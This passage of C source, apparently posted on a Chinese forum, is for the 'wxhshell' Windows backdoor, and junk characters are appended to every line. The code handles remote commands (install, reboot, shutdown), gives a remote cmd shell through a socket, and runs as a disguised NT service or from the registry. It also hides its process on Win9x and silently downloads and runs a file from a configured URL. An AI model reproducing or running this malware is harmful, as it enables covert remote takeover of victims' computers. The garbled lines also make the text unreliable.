S[Vtq^lU  
    switch(cmd[0]) { J l\'V  
  ebzzzmwo  
  // 帮助  1y 7y0V  
  case '?': { X|,["Az 8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pv~:gP  
    break; )5U !>,fT  
  } XWJ SLN(O  
  // 安装 2bkJ /u`i  
  case 'i': { ;r3}g"D@  
    if(Install()) tp@*=*^I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~H7!MC~K  
    else H*GlWgfG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w:v=se"U  
    break; f#1/}Hq/I  
    } {y1q7Z.M  
  // 卸载 b(/j\NWC  
  case 'r': { [M`=HhJ4  
    if(Uninstall()) d<!IGt4Ky  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,}KwP*:Z  
    else |hc\jb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l(#1mY5!q8  
    break; grc:Y  
    } >}CEN  
  // 显示 wxhshell 所在路径 @`6}`k  
  case 'p': { .wP/ai>}  
    char svExeFile[MAX_PATH];  e#1.T  
    strcpy(svExeFile,"\n\r"); QPX`l0V  
      strcat(svExeFile,ExeFile); Z4#v~!  
        send(wsh,svExeFile,strlen(svExeFile),0); oooS s&t  
    break; },&h[\N{6  
    } 9976H\{  
  // 重启 .8K6C]gw  
  case 'b': { =x1Wii$`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #,TELzUVE  
    if(Boot(REBOOT)) -;vT<G3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /p,{?~0mj  
    else { ,%kmXh  
    closesocket(wsh); 0t+])>  
    ExitThread(0); 7|Xe&o<n  
    } g>_OuQ|c  
    break; b;*c:{W)  
    } EZ/^nG  
  // 关机 Z&-tMai;  
  case 'd': { cW; H!:&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `UQEXoB)  
    if(Boot(SHUTDOWN)) 8TW5(fl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "oe!M'aj`1  
    else { =HS4I.@c_5  
    closesocket(wsh); `0rRKlbj4  
    ExitThread(0); (n,N8k;  
    } $~G@   
    break; ; h85=l<8u  
    } 'AWp6L@  
  // 获取shell I>aGp|4  
  case 's': { +j.qZ8  
    CmdShell(wsh); Lc%xc`n8B  
    closesocket(wsh); SB/3jH  
    ExitThread(0); n+rM"Gxz  
    break; r8,om^N6  
  } 4gb'7'  
  // 退出 Y& 5.9 s@'  
  case 'x': { YQ7@D]#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H{%H^t>  
    CloseIt(wsh); T pD;  
    break; *{|$FQnR>(  
    } oqYt/4^Q  
  // 离开 `7\H41%\pp  
  case 'q': { A? r^V2+j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'g hys1H  
    closesocket(wsh); VX!hv`E  
    WSACleanup(); :BD>yOlG  
    exit(1); /tZ0 |B(  
    break; 5z Kqb  
        } ]Jn2Ra"j  
  } JD*8@N  
  } N 2Ssf$  
>Nh`rkR2[  
  // 提示信息 = ^s$ <  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c0ZaFJ  
} iZ "y7s  
  } lE'wfUb  
)~dOmfw%|  
  return; (;ADW+.`J  
} M)O [j}N  
6.19g'{sB  
// shell模块句柄 1qZG`Vz  
int CmdShell(SOCKET sock) >pdnCv_c  
{ O:YJ%;w  
STARTUPINFO si; ZLrHZhP-+  
ZeroMemory(&si,sizeof(si)); GW/WUzK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r]T0+oQ>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T,OS0;7O  
PROCESS_INFORMATION ProcessInfo; !^?qU;|  
char cmdline[]="cmd"; RG1\=J$:E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X!c?CL  
  return 0; yb?|Eww_o  
} l'uOORI  
$8g42LR'  
// 自身启动模式 `tVy_/3(9  
int StartFromService(void) UP8{5fx'  
{ U=QA  e  
typedef struct w & P&7  
{ ]\dHU.i  
  DWORD ExitStatus; t^U^Tr  
  DWORD PebBaseAddress; Ao"C<.gUYP  
  DWORD AffinityMask; 2y%R:Mu  
  DWORD BasePriority; BIj   
  ULONG UniqueProcessId; c\K<sM{  
  ULONG InheritedFromUniqueProcessId; $>r5>6  
}   PROCESS_BASIC_INFORMATION; 30d#Lq  
Mk5RHDh  
PROCNTQSIP NtQueryInformationProcess; $3\,h; y  
YlKFw|=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y.-S=Y   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T5e^J"   
W;TJenv  
  HANDLE             hProcess; H1&RI4XC  
  PROCESS_BASIC_INFORMATION pbi; ?1w"IjUS  
a g;dc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FN\GE\H  
  if(NULL == hInst ) return 0; kOI !~Qk  
"dtlME{Bx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %/pc=i|+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &*gbK6JB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QBihpA 1;  
^l(^z fsZ  
  if (!NtQueryInformationProcess) return 0; HeozJ^u\?  
mb{q(WEPP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YgimJsm  
  if(!hProcess) return 0; ~ffwLgu!  
Mudrg[@ `  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JA6";fl;  
:<utq|#s  
  CloseHandle(hProcess); IU9, (E  
"+h/-2rA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E9$H nj+m  
if(hProcess==NULL) return 0; B*79qq  
#PFO]j!_b  
HMODULE hMod; D^?_"wjW  
char procName[255]; 9g]M4*?C9P  
unsigned long cbNeeded; x~+-VF3/  
A*i_|]Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sE9Ckc5  
zP nC=h|g  
  CloseHandle(hProcess); h(N=V|0  
Uw <{i  
if(strstr(procName,"services")) return 1; // 以服务启动 M-Sv1ZLh  
:Q- F9o J  
  return 0; // 注册表启动 XU9'Rfp  
} &t3Jv{  
w2zp#;d  
// 主模块 hW' HT  
int StartWxhshell(LPSTR lpCmdLine) %\I.DEYH  
{ mx}E$b$<CY  
  SOCKET wsl; 6Xa.0(h  
BOOL val=TRUE; ^73=7PZ  
  int port=0; ~:Mm<*lL%  
  struct sockaddr_in door; }N,>A-P  
e{!vNJ0`  
  if(wscfg.ws_autoins) Install(); H(> M   
(oYW]c}G,  
port=atoi(lpCmdLine); .@k*p>K  
KyLp?!|>  
if(port<=0) port=wscfg.ws_port; MZ~.(&  
M[s\E4l:t  
  WSADATA data; TB#N k5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zH=hI Vc  
Dl A Z"C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #ZTLrq5b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K\^&+7&zVg  
  door.sin_family = AF_INET; t.U{Bu P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pz`hX$  
  door.sin_port = htons(port); \]8i}E1  
/^ 4"Qv\@/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VQ<5%+  
closesocket(wsl); VGZ6  
return 1; qd(hQsfqYU  
} |M E{gy`5  
 yekRwo|  
  if(listen(wsl,2) == INVALID_SOCKET) { ]>8)|]O6n  
closesocket(wsl); dtTlIhh1V  
return 1; ~6d5zI4\  
} plXG[1;&G  
  Wxhshell(wsl); jONjt(&N  
  WSACleanup(); }cW#045es  
=l,#iYJP8  
return 0; q[c Etp28h  
5-w:c>  
} 9h&yuS'Yj  
NvHN -^2  
// 以NT服务方式启动 @vAFfYU9<.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bn-=fb(  
{ )U5u" ]9~  
DWORD   status = 0; v{koKQ'Y()  
  DWORD   specificError = 0xfffffff; C Z tiWZ  
M/B/b<['  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5i9Ub |!P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *#h;c1aP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3 Gd|YRtk  
  serviceStatus.dwWin32ExitCode     = 0; (\& 62B1  
  serviceStatus.dwServiceSpecificExitCode = 0; Vp7b4n<  
  serviceStatus.dwCheckPoint       = 0; >'Hx1;  
  serviceStatus.dwWaitHint       = 0; |yv]Y/ =  
c&e0OV\m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7K:FeW'N  
  if (hServiceStatusHandle==0) return; -tyaE  
r*Z_+a8  
status = GetLastError(); ? s4oDi|:  
  if (status!=NO_ERROR) (8x gn  
{ ]!aUT&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @p]UvqtB@  
    serviceStatus.dwCheckPoint       = 0; \Tkp  
    serviceStatus.dwWaitHint       = 0; PbEQkjE  
    serviceStatus.dwWin32ExitCode     = status; bA *"ei+!  
    serviceStatus.dwServiceSpecificExitCode = specificError; S:GTc QU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4J}3,+  
    return; L[. <o{  
  } rr )/`Kmv%  
u){S$</  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~U%j{8uH  
  serviceStatus.dwCheckPoint       = 0; OG}KqG!n  
  serviceStatus.dwWaitHint       = 0; mz-N{>k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "tX7%(  
} h2;l1 G,  
QgZJ`G--  
// 处理NT服务事件,比如:启动、停止 vJThU$s-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8&?p  
{ BS.=  
switch(fdwControl) +XQP jg  
{ }4KW@L[g  
case SERVICE_CONTROL_STOP: zbg+6qs})  
  serviceStatus.dwWin32ExitCode = 0; Pz1G<eh#{g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mu>] 9ZW  
  serviceStatus.dwCheckPoint   = 0; UR,?!rJ^B  
  serviceStatus.dwWaitHint     = 0; #ovM(Mld  
  { xVTo4-[p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Fq=jOA)z$  
  } 8!4[#y<  
  return; u\3ZIb  
case SERVICE_CONTROL_PAUSE: pN+I]NgQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _yJ|`g]U3  
  break; +wAp,Xr  
case SERVICE_CONTROL_CONTINUE: vv* |F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l7~Pa0qD  
  break; }5hZo%w[n  
case SERVICE_CONTROL_INTERROGATE: 6 >uQt:e  
  break; +C5#$5];  
}; XHNkQe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ==`Pb  
} WG\Q5k4Ba  
Gym#b{#":  
// 标准应用程序主函数 ^XNw$@&',  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -;ER`Jqs,  
{ 9C=~1>S  
b~9`]+  
// 获取操作系统版本 /N%zwj/*  
OsIsNt=GetOsVer(); g/B\ObY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v^\JWPR/  
DZ2Fl>7  
  // 从命令行安装 Iht'e8)gq  
  if(strpbrk(lpCmdLine,"iI")) Install(); O$U}d-Xnx  
UQnBqkE  
  // 下载执行文件 jm+ blB^%K  
if(wscfg.ws_downexe) { Bs@:rhDi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8W@dtZ,d  
  WinExec(wscfg.ws_filenam,SW_HIDE); p9Z ].5Pd"  
} BjB&[5?z  
$':JI#  
if(!OsIsNt) { sX!3_ '-  
// 如果时win9x,隐藏进程并且设置为注册表启动 Wt"ww~h`(  
HideProc(); z6 a,0&;-L  
StartWxhshell(lpCmdLine); bl`D+/V   
} Eo Ko   
else LS{bg.e  
  if(StartFromService()) 0W_mCV  
  // 以服务方式启动 X*)?LxTj  
  StartServiceCtrlDispatcher(DispatchTable); '9"%@AFxZ  
else {=qEBbM  
  // 普通方式启动 [bsXF#  
  StartWxhshell(lpCmdLine); wePI*."]  
fw:7U %MGv  
return 0; |SxMN %M!  
}
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只看该作者 1 发表于: 2006-10-10
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